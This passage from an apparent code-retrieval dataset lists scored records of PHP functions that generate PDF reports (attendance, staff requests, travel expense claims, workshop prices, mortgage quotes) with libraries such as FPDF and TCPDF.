$data){\n\n $pdf->Cell(15,7,$no++,1,0,'C');\n $pdf->Cell(30,7,$data->nip,1,0,'C');\n $pdf->Cell(55,7,$data->fullname,1,0,'C');\n // $pdf->Row(55,7,$data->fullname,1,0,'C');\n $pdf->Cell(30,7,$data->jam_masuk,1,0,'C');\n $pdf->Cell(40,7,$data->ipaddress,1,1,'C');\n }\n\n /** TEMPLATE FOOTER dan output */ // harus dipakai di setiap bentuk laporan\n $pdf->AliasNbPages();\n $pdf->Output();\n /** ./ TEMPLATE FOOTER dan output */\n }", "title": "" }, { "docid": "e2567ff999629160db0ff4b7ddffbce4", "score": "0.7504679", "text": "public function print_permohonan(){\r\n $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);\r\n // document informasi\r\n $pdf->SetCreator('PT. Astrindo Senayasa');\r\n $pdf->SetTitle('Laporan Data Karyawan');\r\n $pdf->SetSubject('Permohonan Karyawan');\r\n //header Data\r\n $pdf->SetHeaderData('logo.jpg',30,'PT. Astrindo Senayasa','Mangga Dua Square Blok G 24, Jalan Gunung Sahari Raya, Pademangan, RT.12/RW.6, Jakarta Utara, Daerah Khusus Ibukota Jakarta.',array(0, 0, 0),array(0, 0, 0));\r\n $pdf->SetFooterData(array(255, 255, 255), array(255, 255, 255));\r\n $pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->setFooterFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);\r\n //set margin\r\n $pdf->SetMargins(PDF_MARGIN_LEFT,PDF_MARGIN_TOP - 6,PDF_MARGIN_RIGHT);\r\n $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);\r\n $pdf->SetFooterMargin(PDF_MARGIN_FOOTER);\r\n $pdf->SetAutoPageBreak(FALSE, PDF_MARGIN_BOTTOM - 5);\r\n //SET Scaling ImagickPixel\r\n $pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);\r\n //FONT Subsetting\r\n $pdf->setFontSubsetting(true);\r\n $pdf->SetFont('helvetica','',6,'',true);\r\n $pdf->AddPage('L');\r\n $i=0;\r\n \r\n $html='<h3>Data Permohonan Karyawan</h3>\r\n <table border=\"0.5\" bgcolor=\"#666666\" cellpadding=\"2\">\r\n <tr align=\"center\" bgcolor=\"#ffffff\">\r\n <th width=\"3%\">No</th>\r\n <th>Departemen</th>\r\n <th>Nama Pemohon</th>\r\n <th>Jabatan Pemohon</th>\r\n <th>Jabatan</th>\r\n <th>Lokasi</th>\r\n <th>Waktu</th>\r\n <th>Status Kerja</th>\r\n <th>Jumlah</th>\r\n <th>Tanggal</th>\r\n <th>Dasar Permohonan</th>\r\n <th>Sumber Rekrutmen</th>\r\n <th>Ringkasan Tugas</th>\r\n <th>Gajih</th>\r\n <th>JK</th>\r\n <th>Usia</th>\r\n <th>Pendidikan</th>\r\n <th>Jurusan</th>\r\n <th>Pengalaman Kerja</th>\r\n <th>Bidang</th>\r\n <th>Syarat Lain</th>\r\n <th>Keterampilan</th>\r\n <th>Tanggal Bergabung</th>\r\n <th>Office Euipment</th>\r\n </tr>';\r\n $permohonan = $this->Md_permohonan->print();\r\n foreach ($permohonan as $row) \r\n {\r\n $i++;\r\n $html.='<tr bgcolor=\"#ffffff\">\r\n <td align=\"center\">'.$i.'</td>\r\n <td align=\"center\">'.$row['dep_pmhn'].'</td>\r\n <td> '.$row['nama_pemohon_pmhn'].'</td>\r\n <td> '.$row['jabatan_pemohon_pmhn'].'</td>\r\n <td> '.$row['jabatan_pmhn'].'</td>\r\n <td>'.$row['lokasi_pmhn'].'</td>\r\n <td align=\"center\">'.$row['waktu_pmhn'].'</td>\r\n <td align=\"center\">'.$row['status_kerja_pmhn'].'</td>\r\n <td align=\"center\">'.$row['jumlah_pmhn'].'</td>\r\n <td align=\"center\"> '.$row['tanggal_pmhn'].'</td>\r\n <td> '.$row['dasar_permohonan_pmhn'].'</td>\r\n <td> '.$row['sumber_rekrutmen_pmhn'].'</td>\r\n <td> '.$row['ringkasan_tugas_pmhn'].'</td>\r\n <td align=\"center\"> '.$row['gajih_pmhn'].'</td>\r\n <td align=\"center\"> '.$row['jk_pmhn'].'</td>\r\n <td align=\"center\"> '.$row['usia_pmhn'].'</td>\r\n <td align=\"center\"> '.$row['pendidikan_pmhn'].'</td>\r\n <td> '.$row['jurusan_pmhn'].'</td>\r\n <td> '.$row['pengalaman_kerja_pmhn'].'</td>\r\n <td> '.$row['bidang_pmhn'].'</td>\r\n <td> '.$row['syarat_lain_pmhn'].'</td>\r\n <td> '.$row['keterampilan_pmhn'].'</td>\r\n <td align=\"center\"> '.$row['tgl_bergabung_pmhn'].'</td>\r\n <td> '.$row['office_equipment_pmhn'].'</td>\r\n </tr>';\r\n }\r\n \r\n $html.='<p>AST-CRM-HRG-024 Rev. 02 10-03-2017 | '.date(\"d-m-Y\", time()) .'</p>';\r\n $html.='</table>';\r\n $pdf->writeHTML($html, true, false, true, false, '');\r\n ob_end_clean();\r\n $pdf->Output('laporan_permohonan'.date(\"d-m-Y\", time()) .'.pdf', 'I');\r\n }", "title": "" }, { "docid": "e55cef6f2f257672fb0c1dcb71e1ea1f", "score": "0.750098", "text": "public function viewpdfcomp(){\n\t\t\n\t$test=$this->Solicitud_model->getinfo($_GET['id']);\n\t$test2=$this->Solicitud_model->getPartidas($_GET['id']);\n\n\t$this->load->library('pdf');\n\n\t$aux=\"\";\n\t$tipo=\"\";\n\n\tif ($test->tipo_sol==0)\n\t\t{$tipo=\"Viaticos\";}\n\telse\n\t{$tipo=\"Reembolso\";}\n\n\tforeach ($test2->result() as $info) \n\t{\n\t\t$estado=\"\";\n\n\t\tif($info->estatus==2)\n\t\t{\n\t\t\t$estado=\"REEMBOLSO\";\n\t\t}\n\t\telse if($info->estatus==3)\n\t\t{\n\t\t\t$estado=\"SIN USO\";\n\t\t}\n\n\t\t$aux = $aux.'<tr><td>'.$info->descripcion.'</td><td>'.$estado.'</td><td>'.number_format($info->total, 2, \".\", \",\").'</td><td>'.number_format($info->documentado, 2, \".\", \",\").'</td></tr> <tr>\n\t\t<th>Folio SAT</th>\n\t\t<th>RFC Emisor</th>\n\t\t<th></th>\n\t\t<th>Comprobado</th>\n\t\t</tr>'; \n\t\n\t\t$comp=$this->Solicitud_model->getComprobantes($info->idpartidas);\n\t\t\n\t\tforeach ($comp->result() as $detalle) \n\t\t{\n\t\t\t$aux = $aux.'<tr><td>'.strtoupper($detalle->foliosat).'</td><td>'.$detalle->emisor.'</td><td></td><td>'.number_format($detalle->totalfactura, 2, \".\", \",\").'</td></tr>'; \n\t\t}\n\t}\n\n\t$html = '<!doctype html>\n\t<html lang=\"en\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n\t<!-- Latest compiled and minified CSS -->\n\t<link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\" integrity=\"sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u\" crossorigin=\"anonymous\">\n\t<title>Solicitud de Viaticos</title>\n\t<style type=\"text/css\">\n input[type=\"text\"]{\n border:none;\n\t\tborder-bottom:2px solid #000000;\n\t\twidth: 100%;\n\t\theight: 22px;\n\t\tfont-size: larger;\n }\n\t</style>\n </head>\n <body>\n\n \n\n <div class=”container-fluid”>\n <div class=\"row\">\n\n <h1 class=\"text-center bg-info\">Comprobación de Viaticos</h1>\n\n <div class=\"panel panel-default\">\n <div class=\"panel-body\">\n\n <div class=\"form-group row\">\n <div class=\"col-xs-2\">\n <label for=\"ex1\">Folio</label>\n <input class=\"form-control input-sm\" id=\"ex1\" type=\"text\" value=\"'.$test->folio.'\">\n </div>\n <div class=\"col-xs-3\">\n <label for=\"ex2\">Fecha de Solicitud</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" size=\"50\" value=\"'.$test->Fecha.'\">\n </div>\n <div class=\"col-xs-5\">\n <label for=\"ex3\">Nombre del Solicitante</label>\n <input class=\"form-control input-sm\" id=\"ex3\" type=\"text\" value=\"'.$test->Nombre.'\">\n </div>\n</div>\n\n<div class=\"form-group row\">\n<div class=\"col-xs-3\">\n <label for=\"ex1\">Area del Solicitante</label>\n <input class=\"form-control input-sm\" id=\"ex1\" type=\"text\" value=\"'.$test->area.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex2\">Tipo de Solicitud</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" value=\"'.$tipo.'\">\n</div>\n<div class=\"col-xs-3\">\n <label for=\"ex1\">Fecha de Salida</label>\n <input class=\"form-control input-sm\" id=\"ex1\" type=\"text\" value=\"'.$test->fecha_inicio.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex2\">Fecha de Regreso</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" value=\"'.$test->fecha_fin.'\">\n</div>\n</div>\n\n<div class=\"form-group row\">\n<div class=\"col-xs-3\">\n <label for=\"ex1\">Ciudad Origen</label>\n <input class=\"form-control input-sm\" id=\"ex1\" type=\"text\" value=\"'.$test->ciudad_origen.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex2\">Estado Origen</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" value=\"'.$test->estado_origen.'\">\n</div>\n<div class=\"col-xs-3\">\n <label for=\"ex3\">Ciudad Destino</label>\n <input class=\"form-control input-sm\" id=\"ex3\" type=\"text\" value=\"'.$test->ciudad_destino.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex3\">Estado Destino</label>\n <input class=\"form-control input-sm\" id=\"ex3\" type=\"text\" value=\"'.$test->estado_destino.'\">\n</div>\n</div>\n\n<div class=\"form-group row\">\n<div class=\"col-xs-9\">\n <label for=\"ex2\">Motivo</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" value=\"'.$test->motivo.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex3\">Total</label>\n <input class=\"form-control input-sm\" id=\"ex3\" type=\"text\" value=\"'.number_format($test->total, 2, '.', ',').'\">\n</div>\n</div>\n\n\n<table class=\"table table-striped table-hover\">\n <thead>\n <tr>\n\t\t\t<th width=\"50%\">Descripción</th>\n\t\t\t<th></th>\n\t\t\t<th>Solicitado</th>\n\t\t\t<th>Comprobado</th>\n </tr>\n </thead>\n\t<tbody>\n'.$aux.'\n<tbody>\n</table>\n\n\n</div>\n</div>\n</div>\n</div>\n\n</body>\n</html>\n\t';\n\n $this->pdf->generate($html, 'Solicitud de Viaticos No '.$test->folio, true, 'Letter', 'portrait');\n\t\t\n}", "title": "" }, { "docid": "924176f4931806655c306dada9c18b33", "score": "0.74961203", "text": "public function SoloBautizadosPdf()\n {\n \n $person = Persona::where([\n ['bautismo', 'si'],\n ['estado', 'activo'],\n ])\n ->orderBy(\"nombres\")\n ->get();\n\n return \\PDF::loadView('secretaria.pdf.pdfHermanosBautizados', compact(\"person\"))\n ->setPaper('a4', 'portrait')\n ->stream('Sectetaría.pdf'); //si lo quiero descargar enseguida uso download(), si lo quiero\n\n }", "title": "" }, { "docid": "b95fdc3c9d8d834bbe34037b826cba98", "score": "0.74806577", "text": "public function pdf_warta_berita(){\n \t$this->load->library('pdf');\n\t\t\t \t$id_user = $this->input->post('id_user');\n $tanggal = $this->input->post('tanggal');\n $berita = $this->input->post('berita');\n\n $data['query'] = $this->Model_data->pdf_warta_berita($berita,$id_user,$tanggal);\n $data['query1'] = $this->Model_data->get_warta_berita_by_id($berita,$id_user,$tanggal);\n $this->load->view('print_warta_berita',$data);\n\n $paper_size='Legal';\n\t $orientation='potrait';\n\t $data_header= array('title' => 'Convert to Pdf');\n\t $html = $this->output->get_output();\n\t $this->pdf->set_paper($paper_size, $orientation, $data_header);\n\n\t $this->pdf->load_html($html);\n\t $this->pdf->render();\n\t $this->pdf->stream('Warta Berita.pdf', array('Attachment' =>0));\n\n\t}", "title": "" }, { "docid": "5628c7936b9070e4049974f2338fc11e", "score": "0.7470651", "text": "function Cabecera($pdf,$valor) {\r\n\t\r\n\t$sql=\"select * from cp_documentoextsalida where Cod_DocumentoCompleto = '$valor'\";\r\n $qry=mysql_query($sql) or die ($sql.mysql_error());\r\n $field=mysql_fetch_array($qry);\r\n $fecha = split(\"-\", $field['FechaRegistro']);\r\n\t$a= $fecha[0]; $m= $fecha[1]; \t$d= $fecha[2];\r\n\tif($m==01){ $mes = 'Enero';}if($m==05){ $mes = 'Mayo';}if($m==09){ $mes = 'Septiembre';}\r\n\tif($m==02){ $mes = 'Febrero';}if($m==06){ $mes = 'Junio';}if($m==010){ $mes = 'Octubre';} \r\n\tif($m==03){ $mes = 'Marzo';}if($m==07){ $mes = 'Julio';}if($m==11){ $mes = 'Noviembre';}\r\n\tif($m==04){ $mes = 'Abril';}if($m==08){ $mes = 'Agosto';}if($m==12){ $mes = 'Diciembre';}\r\n //$dia='01';\r\n\t\r\n\t$pdf->AddPage();\r\n\t$pdf->Image('../imagenes/logos/contraloria.jpg', 20, 11, 20, 18);\r\n\t$pdf->Image('../imagenes/logos/LOGOSNCF.jpg', 175, 240, 20, 18);\r\n\t$pdf->SetFont('Arial', 'B', 12);\r\n\t$pdf->SetTextColor(50, 50, 50);\r\n\t$pdf->SetXY(20, 12); $pdf->Cell(180, 5, utf8_decode('República Bolivariana de Venezuela'), 0, 1, 'C');\r\n\t$pdf->SetXY(20, 17); $pdf->Cell(180, 5, utf8_decode('Contraloría del Estado Monagas'), 0, 1, 'C');\r\n\t$pdf->SetXY(20, 22); $pdf->Cell(180, 5, utf8_decode('Despacho del Contralor'), 0, 1, 'C');\r\n\t$pdf->Ln(2);\r\n\t\r\n\t\r\n\t$pdf->SetFont('Arial', '', 12);\r\n\t$pdf->SetTextColor(0, 0, 0);\r\n\t$pdf->SetXY(20, 30); $pdf->Cell(240, 5, utf8_decode('Maturín'), 0, 1, 'C');\r\n\t$pdf->SetXY(20, 30); $pdf->Cell(262, 5, utf8_decode($d), 0, 1, 'C');\r\n\t$pdf->SetXY(20, 30); $pdf->Cell(272, 5, utf8_decode('de'), 0, 1, 'C');\r\n\t$pdf->SetXY(20, 30); $pdf->Cell(290, 5, utf8_decode($mes), 0, 1, 'C');\r\n\t$pdf->SetXY(20, 30); $pdf->Cell(307, 5, utf8_decode('de'), 0, 1, 'C');\r\n\t$pdf->SetXY(20, 30); $pdf->Cell(323, 5, utf8_decode($a), 0, 1, 'C');\r\n\t$pdf->SetXY(20, 35); $pdf->Cell(310, 5, utf8_decode('200° y 151°'), 0, 1, 'C');\r\n\t\r\n\t$pdf->SetFont('Arial', 'B', 12);\r\n\t$pdf->SetTextColor(0, 0, 0);\r\n\t$pdf->SetXY(25, 40);$pdf->Cell(30, 10, utf8_decode('OFICIO N°:'), 0, 1, 'L');\r\n\t$pdf->SetXY(25, 40);$pdf->Cell(90, 10, utf8_decode($field['Cod_DocumentoCompleto']), 0, 1, 'C');\r\n\t$pdf->Ln(3);\r\n\t\r\n\t$pdf->SetFont('Arial', '', 12);\r\n\t$pdf->Cell(20, 3, 'Ciudadano (a):', 0, 0, 'L');$pdf->Cell(3, 3,'PABLO RODRIGUEZ', 0, 0, 'L');$pdf->Cell(30, 3,'' , 0, 1, 'L'); $pdf->Ln(1);\r\n\t$pdf->Cell(20, 3, '', 0, 0, 'L');$pdf->Cell(3, 3, '' , 0, 0, 'L');$pdf->Cell(30, 3,'' , 0, 1, 'L'); $pdf->Ln(1);\r\n\t$pdf->Cell(20, 3, '', 0, 0, 'L');$pdf->Cell(3, 3, '' , 0, 0, 'L');$pdf->Cell(30, 3,'' , 0, 1, 'L'); $pdf->Ln(1);\r\n\t$pdf->Cell(20, 3, '', 0, 0, 'L');$pdf->Cell(3, 3, '' , 0, 0, 'L');$pdf->Cell(30, 3,'' , 0, 1, 'L'); $pdf->Ln(5);\r\n\t/*$pdf->SetFont('Arial', '', 12);\r\n\t$pdf->Cell(20, 3, 'PARA:', 0, 0, 'L');$pdf->Cell(3, 3,'PABLO RODRIGUEZ', 0, 0, 'L');$pdf->Cell(30, 3,'' , 0, 1, 'L'); $pdf->Ln(1);\r\n\t$pdf->Cell(20, 3, 'DE:', 0, 0, 'L');$pdf->Cell(3, 3, 'RECURSOS HUMANOS' , 0, 0, 'L');$pdf->Cell(30, 3,'' , 0, 1, 'L'); $pdf->Ln(1);\r\n\t$pdf->Cell(20, 3, 'FECHA:', 0, 0, 'L');$pdf->Cell(3, 3, $f['FechaDistribucion'], 0, 0, 'L');$pdf->Cell(30, 3,'' , 0, 1, 'L'); $pdf->Ln(1);\r\n\t$pdf->Cell(20, 3, 'ASUNTO:', 0, 0, 'L');$pdf->Cell(3, 3, 'OTROS', 0, 0, 'L');$pdf->Cell(30, 3,'' , 0, 1, 'L'); $pdf->Ln(5);*/\r\n}", "title": "" }, { "docid": "02d802f1e370a20fa0690a68ca899700", "score": "0.74135023", "text": "public function laporan_pdf($no_restitusi){\n\t\t\n\t\t$data['restitusi']=$this->M_Report->restitusi($no_restitusi);\n\n\t $this->load->library('pdf');\n\t $this->pdf->setPaper('A4', 'potrait');\n\t $this->pdf->filename = \"laporan-petanikode.pdf\";\n\t $this->pdf->load_view('report_download', $data);\n\t}", "title": "" }, { "docid": "3cc809abffd4166e48fcc1ff0596fb30", "score": "0.74107075", "text": "public function pdfLista()\n {\n $this->load->model('talleres_model');\n // Se carga la libreria fpdf\n $this->load->library('pdf');\n \n $curso=$_POST['curso'];\n // Se obtienen los alumnos de la base de datos\n $talleres = $this->talleres_model->getResumenTalleres($curso);\n //var_dump($talleres);\n \n // Creacion del PDF\n \n /*\n * Se crea un objeto de la clase Pdf, recuerda que la clase Pdf\n * heredó todos las variables y métodos de fpdf\n */\n $this->pdf = new Pdf();\n \n $this->pdf->setSubtitulo(iconv('UTF-8', 'CP1252','Tallers curs: '.$this->talleres_model->getNombreCurso($curso)));\n // Agregamos una página\n $this->pdf->AddPage();\n // Define el alias para el número de página que se imprimirá en el pie\n $this->pdf->AliasNbPages();\n \n /* Se define el titulo, márgenes izquierdo, derecho y\n * el color de relleno predeterminado\n */\n $this->pdf->SetTitle(utf8_decode(\"Resumen talleres \".$this->talleres_model->getNombreCurso($curso)));\n $this->pdf->SetLeftMargin(15);\n $this->pdf->SetRightMargin(15);\n $this->pdf->SetFillColor(200,200,200);\n \n // Se define el formato de fuente: Arial, negritas, tamaño 9\n $this->pdf->SetFont('Arial', 'B', 12);\n /*\n * TITULOS DE COLUMNAS\n *\n * $this->pdf->Cell(Ancho, Alto,texto,borde,posición,alineación,relleno);\n */\n /*\n $this->pdf->Cell(15,7,'NUM','TBL',0,'C','1');\n $this->pdf->Cell(75,7,'TALLER','TBR',0,'L','1');\n $this->pdf->Cell(75,7,'DIA 1','TBR',0,'L','1');\n $this->pdf->Cell(75,7,'DIA 2','TBR',0,'L','1');\n * \n */\n \n $this->pdf->Ln(0);\n // La variable $x se utiliza para mostrar un número consecutivo\n $x = 1;\n \n $agrupados=false;\n $this->pdf->Cell(75,5,'','',0,'L',0);\n $this->pdf->Cell(25,5,'','',0,'L',0);\n $this->pdf->Cell(30,5,'','',0,'L',0);\n $this->pdf->Cell(25,5,'Normal','',0,'R',0);\n $this->pdf->Cell(25,5,'Rosa','',0,'R',0);\n $this->pdf->Ln(8);\n \n \n foreach ($talleres as $k=>$taller) {\n //$this->pdf->Cell(15,5,$taller['id'],'BL',0,'C',0);\n //$this->pdf->Cell(20,5,'2016-2017','BL',0,'C',0);\n\n // Se imprimen los datos de cada alumno\n $dia1=\"\";\n $dia2=\"\";\n $horario1=\"\";\n $horario2=\"\";\n if($taller['dia1']) $dia1=$taller['dia1'];\n if($taller['dia2']) $dia2=$taller['dia2'];\n if($taller['dia1']) $horario1=substr($taller['inicio1'],0,5).'-'.substr($taller['final1'],0,5);\n if($taller['dia2']) $horario2=substr($taller['inicio2'],0,5).'-'.substr($taller['final2'],0,5);\n \n if($taller['agrupado']>0) {$taller['nombre'].='*'; $agrupados=true;}\n //$taller['nombre']=iconv('UTF-8', 'CP1252',$taller['nombre']);\n //if(strlen($taller['nombre']>25)) $taller['nombre']=substr($taller['nombre'],0,25).\"...\";\n switch($taller['id_periodo']){\n case 7: $periodo=\"\"; break;\n case 1: $periodo=\"(T3)\"; break;\n case 2: $periodo=\"(T2)\"; break;\n case 3: $periodo=\"(T2 T3)\"; break;\n case 4: $periodo=\"(T1)\"; break;\n case 5: $periodo=\"(T1 T3)\"; break;\n case 6: $periodo=\"(T1 T2)\"; break;\n default: $periodo=\"(--)\";\n }\n $this->pdf->Cell(75,5,iconv('UTF-8', 'CP1252',$taller['nombre'].' '.$periodo),'',0,'L',0);\n $this->pdf->Cell(25,5,utf8_decode($dia1),'',0,'L',0);\n $this->pdf->Cell(30,5,utf8_decode($horario1),'',0,'L',0);\n $precioTrimestre=utf8_decode(\"Gratuït\");\n $precioCurso=utf8_decode(\"Gratuït\");\n $precioRosaTrimestre=utf8_decode(\"Gratuït\");\n $precioRosaCurso=utf8_decode(\"Gratuït\");\n $periodo=$taller['id_periodo'];\n mensaje($periodo);\n if($taller['precioTrimestre']>0) \n $precioTrimestre=iconv('UTF-8', 'CP1252',$taller['precioTrimestre'].' €');\n //$precioTrimestre=utf8_decode($taller['precioTrimestre']).iconv('UTF-8', 'CP1252', ' €/Trim');\n if($taller['precioRosaTrimestre']>0) \n $precioRosaTrimestre=utf8_decode($taller['precioRosaTrimestre']).iconv('UTF-8', 'CP1252', ' €');\n $this->pdf->Cell(25,5,$precioTrimestre,'',0,'R',0);\n $this->pdf->Cell(25,5,$precioRosaTrimestre,'',0,'R',0);\n //Se agrega un salto de linea\n $this->pdf->Ln(5);\n if($dia2){\n $this->pdf->Cell(75,5,'','',0,'L',0);\n $this->pdf->Cell(25,5,utf8_decode($dia2),'',0,'L',0);\n $this->pdf->Cell(30,5,utf8_decode($horario2),'',0,'L',0);\n $this->pdf->Ln(5);\n }\n $this->pdf->Ln(3);\n \n }\n \n $this->pdf->Ln(5);\n if($agrupados){\n $this->pdf->Cell(150,5,utf8_decode('(*) Talleres agrupados. Consultar precios asistencia a 2 o más talleres.'),'',0,'L',0);\n \n }\n \n \n \n \n /*\n * Se manda el pdf al navegador\n *\n * $this->pdf->Output(nombredelarchivo, destino);\n *\n * I = Muestra el pdf en el navegador\n * D = Envia el pdf para descarga\n *\n */\n $this->pdf->Output(\"Talleres \".$this->talleres_model->getNombreCurso($curso).\".pdf\", 'D');\n }", "title": "" }, { "docid": "b7b538cffeee8286114c92f228815609", "score": "0.7371603", "text": "function processPagenr_8(){\n\tglobal $pdf; \n\t\n\t$pdf->SetFont('freeserif','',12);\n\t$pdf->SetXY(85, 31); //(horiz,vert)\n\t$pdf->Cell(105, 0, 'ime in priimek kandidata - tiskano', 1, 1, 'C', 0, '', 1);\n\t\n\t$pdf->SetXY(42, 41);$pdf->Cell(148, 0, 'naslov -1', 1, 1, 'C', 0, '', 1);\n\t$pdf->SetXY(30, 49);$pdf->Cell(160, 0, 'naslov - 2', 1, 1, 'C', 0, '', 1);\n\t\n\t\n\t$pdf->SetLineStyle(array('width' => 0.5, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0)));\n $pdf->Circle(31,74,3);\t\t\t$pdf->Circle(62,74,3);\n\t$pdf->SetLineStyle(array('width' => 0.1, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0)));\n\t\n\t\n\t$pdf->SetFont('freeserif','',10);\n $pdf->SetXY(30, 89);\n\t $pdf->MultiCell(160, 28, '[JUSTIFY] '.\"cilji in prob. \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\t\n\t \n\t $pdf->SetFont('freeserif','',10);\n $pdf->SetXY(30, 131);\n\t $pdf->MultiCell(160, 28, '[JUSTIFY] '.\"izhodišča. \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\t\n\n\t $pdf->SetFont('freeserif','',10);\n $pdf->SetXY(30, 177);\n\t $pdf->MultiCell(160, 28, '[JUSTIFY] '.\"metodologija \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\n\t \n\t $pdf->SetFont('freeserif','',10);\n $pdf->SetXY(30, 222);\n\t $pdf->MultiCell(160, 39, '[JUSTIFY] '.\"literatura \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\n\t\n\t\n\t\n\t$pdf->SetXY(42, 268);$pdf->Cell(56, 0, 'datum', 1, 1, 'C', 0, '', 1);\n\t$pdf->SetXY(132, 268);$pdf->Cell(58, 0, 'podpis kandidata', 1, 1, 'C', 0, '', 1);\n}", "title": "" }, { "docid": "d49c1e52b60b09c8963cdade6cd61163", "score": "0.73638135", "text": "function pdfid($i_idsolicitud, $idgrupoprueba, $nombregrupoprueba, $v_codgrupoprueba, $i_idestablocal)\r\n \t{\r\n $objdatos = new clsReporteResultados;\r\n $idexpediente = $_GET['idexpediente'];\r\n $idsolicitud = $_GET['idsolicitud'];\r\n $idHistorialClinico = $_GET['idHistorialClinico'];\r\n $idDatoReferencia = $_GET['idDatoReferencia'];\r\n $idEstablecimiento = $_GET['IdEstablecimiento'];\r\n $subservicio = $_GET['subservicio'];\r\n $this->SetFont('Arial','B',12);\r\n\t\t//Titulos\r\n $this->SetFillColor(255,255,255);\r\n $ban1=0;\r\n\r\n $this->Ln(2);\r\n $resultgetExamnResult = $this->getExamnResult($idHistorialClinico, $idDatoReferencia, $idEstablecimiento);\r\n\r\n $this->SetFont('Arial','B',9);\r\n $this->SetFont('Arial','',9);\r\n $this->MuestrasRechazadas($resultgetExamnResult['RM']);\r\n\r\n if (count($resultgetExamnResult['RC']) > 0) {\r\n foreach($resultgetExamnResult['RC'] as $area) {\r\n\r\n $arrayPlantillas= ['A','B','C','D','E'] ;\r\n foreach ($arrayPlantillas as $pType) {\r\n if(array_key_exists($pType, $area['plantillas'])) {\r\n $this->bodyLayout($area, $pType);\r\n }\r\n }\r\n }\r\n } else {\r\n\r\n {\r\n $this->Cell(0,6, ' -> Los examenes no han sido procesados aun...',0,1,'L');\r\n\r\n }\r\n }\r\n\r\n\r\n\r\n }", "title": "" }, { "docid": "a44297db89f154dbc0a8d1eb2bfe1b99", "score": "0.73566556", "text": "function CuerpoFicha($datos) \n\t{\n\t\t// Documento\n\t\t$this->pdf = new PDF_App();\n\t\t$this->pdf->SetMostrarLogo(false);\n\t\t$this->pdf->SetTopMargin(5);\n\t\t$this->pdf->AddPage();\n\t\t\n\t\t$this->pdf->SetTextColor(0,0,0);\n\t\t$this->pdf->SetDrawColor(0,0,0);\n\t\t$this->pdf->SetFillColor(140,140,140);\n\t\t\n\t\t// Datos generales\n\t\t$this->pdf->SetFont('Arial','BU',10);\n\t\t$this->pdf->MultiCell(190,5,\"DATOS GENERALES\",0,'L',0);\n\t\t$this->pdf->Ln(2);\n\t\t$this->pdf->SetFont(\"arial\", \"\", 8);\n\t\t$this->pdf->MultiCell(195,4,\"Fecha: \".$datos['dia'].\"/\".$datos['mes'].\"/\".$datos['anio'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Tipo presupuesto: \".$datos['texto_tipo_presupuesto'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Provincia: \".$datos['provincia_vivienda'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Municipio: \".$datos['poblacion_vivienda'],0,'L',0);\n\t\t$this->pdf->Ln(7);\n\t\t// Datos solicitados\n\t\t$this->pdf->SetFont('Arial','BU',10);\n\t\t$this->pdf->MultiCell(190,5,\"DATOS SOLICITADOS\",0,'L',0);\n\t\t$this->pdf->Ln(2);\n\t\t$this->pdf->SetFont(\"arial\", \"\", 8);\n\t\t$this->pdf->MultiCell(195,4,\"Importe solicitado: \".$datos['importe_solicitado'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Precio inmueble: \".$datos['precio_vivienda'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Impuesto A.J.D.: \".$datos['iajd'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Comunidad autónoma: \".$datos['comunidad_autonoma'],0,'L',0);\n\t\t$this->pdf->Ln(7);\n\t\t// Gastos de hipoteca\n\t\t$this->pdf->SetFont('Arial','BU',10);\n\t\t$this->pdf->MultiCell(190,5,\"GASTOS DE HIPOTECA\",0,'L',0);\n\t\t$this->pdf->Ln(2);\n\t\t$this->pdf->SetFont(\"arial\", \"\", 8);\n\t\t$this->pdf->MultiCell(195,4,\"Comisión de apertura: \".$datos['comision_apertura_hipoteca'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Tasación: \".$datos['tasacion_hipoteca'],0,'L',0);\n\t\t$this->pdf->Ln(5);\t\t\n\t\t$this->pdf->MultiCell(195,4,\"Impuesto A.J.D.: \".$datos['iajd_hipoteca'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Notaría: 